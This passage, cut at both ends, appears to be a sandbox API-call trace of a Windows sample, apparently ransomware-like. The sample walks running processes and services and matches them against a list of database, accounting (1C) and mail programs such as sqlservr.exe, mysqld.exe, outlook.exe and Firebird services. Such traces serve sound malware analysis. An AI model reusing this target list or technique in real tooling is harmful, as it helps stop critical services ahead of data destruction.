lpString2="WPDBusEnum") returned -1 [0149.796] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0149.796] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0149.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0149.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0149.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0149.799] Process32FirstW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.800] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0149.800] lstrlenW (lpString="System") returned 6 [0149.800] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0149.800] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0149.800] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0149.800] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0149.800] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0149.800] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0149.800] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0149.800] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0149.801] lstrlenW (lpString="smss.exe") returned 8 [0149.801] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0149.801] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.801] lstrlenW (lpString="csrss.exe") returned 9 [0149.801] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.801] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.801] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.802] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0149.802] lstrlenW (lpString="wininit.exe") returned 11 [0149.802] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0149.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0149.802] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0149.802] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0149.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0149.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0149.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0149.802] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.803] lstrlenW (lpString="csrss.exe") returned 9 [0149.803] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.803] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.803] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.803] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0149.803] lstrlenW (lpString="winlogon.exe") returned 12 [0149.803] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0149.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0149.803] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0149.803] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0149.804] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0149.804] lstrlenW (lpString="services.exe") returned 12 [0149.804] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0149.804] lstrlenW (lpString="lsass.exe") returned 9 [0149.804] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0149.805] lstrlenW (lpString="lsm.exe") returned 7 [0149.805] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.805] lstrlenW (lpString="svchost.exe") returned 11 [0149.805] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.805] lstrlenW (lpString="svchost.exe") returned 11 [0149.805] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.807] lstrlenW (lpString="svchost.exe") returned 11 [0149.807] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.807] lstrlenW (lpString="svchost.exe") returned 11 [0149.807] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.807] lstrlenW (lpString="svchost.exe") returned 11 [0149.807] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0149.808] lstrlenW (lpString="audiodg.exe") returned 11 [0149.808] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.808] lstrlenW (lpString="svchost.exe") returned 11 [0149.808] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.808] lstrlenW (lpString="svchost.exe") returned 11 [0149.808] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0149.809] lstrlenW (lpString="spoolsv.exe") returned 11 [0149.809] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.809] lstrlenW (lpString="taskhost.exe") returned 12 [0149.809] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.809] lstrlenW (lpString="svchost.exe") returned 11 [0149.809] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0149.810] lstrlenW (lpString="userinit.exe") returned 12 [0149.810] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0149.810] lstrlenW (lpString="dwm.exe") returned 7 [0149.810] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0149.810] lstrlenW (lpString="explorer.exe") returned 12 [0149.810] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0149.811] lstrlenW (lpString="3G6885.exe") returned 10 [0149.811] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0149.811] lstrlenW (lpString="reader_sl.exe") returned 13 [0149.811] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0149.811] lstrlenW (lpString="drvinst.exe") returned 11 [0149.811] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.812] lstrlenW (lpString="taskhost.exe") returned 12 [0149.812] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0149.812] CloseHandle (hObject=0x364) returned 1 [0149.812] Sleep (dwMilliseconds=0x1f4) [0150.539] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b58 [0150.539] EnumServicesStatusExW (in: hSCManager=0x41d8b58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0150.540] GetLastError () returned 0xea [0150.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0150.540] EnumServicesStatusExW (in: hSCManager=0x41d8b58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0150.540] CloseServiceHandle (hSCObject=0x41d8b58) returned 1 [0150.540] lstrlenW (lpString="Appinfo") returned 7 [0150.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0150.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0150.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0150.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0150.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0150.541] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0150.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0150.541] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0150.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0150.541] lstrlenW (lpString="AudioSrv") returned 8 [0150.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0150.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0150.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0150.541] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0150.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0150.541] lstrlenW (lpString="BFE") returned 3 [0150.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0150.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0150.541] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0150.541] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0150.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0150.541] lstrlenW (lpString="CryptSvc") returned 8 [0150.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0150.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0150.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0150.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0150.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0150.541] lstrlenW (lpString="CscService") returned 10 [0150.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0150.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0150.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0150.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0150.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0150.542] lstrlenW (lpString="DcomLaunch") returned 10 [0150.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0150.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0150.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0150.542] lstrlenW (lpString="Dhcp") returned 4 [0150.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0150.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0150.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0150.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0150.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0150.542] lstrlenW (lpString="Dnscache") returned 8 [0150.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0150.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0150.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0150.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0150.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0150.542] lstrlenW (lpString="DPS") returned 3 [0150.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0150.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0150.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0150.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0150.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0150.542] lstrlenW (lpString="eventlog") returned 8 [0150.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0150.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0150.543] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0150.543] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0150.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0150.543] lstrlenW (lpString="EventSystem") returned 11 [0150.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0150.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0150.543] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0150.543] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0150.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0150.543] lstrlenW (lpString="gpsvc") returned 5 [0150.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0150.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0150.543] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0150.543] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0150.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0150.543] lstrlenW (lpString="iphlpsvc") returned 8 [0150.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.543] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0150.543] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0150.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0150.543] lstrlenW (lpString="LanmanServer") returned 12 [0150.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0150.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0150.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0150.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0150.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0150.543] lstrlenW (lpString="LanmanWorkstation") returned 17 [0150.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0150.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0150.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0150.544] lstrlenW (lpString="lmhosts") returned 7 [0150.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0150.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0150.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0150.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0150.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0150.544] lstrlenW (lpString="MMCSS") returned 5 [0150.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0150.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0150.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0150.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0150.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0150.544] lstrlenW (lpString="MpsSvc") returned 6 [0150.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0150.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0150.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0150.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0150.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0150.544] lstrlenW (lpString="Netman") returned 6 [0150.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0150.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0150.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0150.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0150.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0150.544] lstrlenW (lpString="netprofm") returned 8 [0150.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0150.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0150.545] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0150.545] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0150.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0150.545] lstrlenW (lpString="NlaSvc") returned 6 [0150.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.545] lstrlenW (lpString="nsi") returned 3 [0150.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.545] lstrlenW (lpString="PcaSvc") returned 6 [0150.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.545] lstrcmpiW (lpString1="sqlserveradhelper", 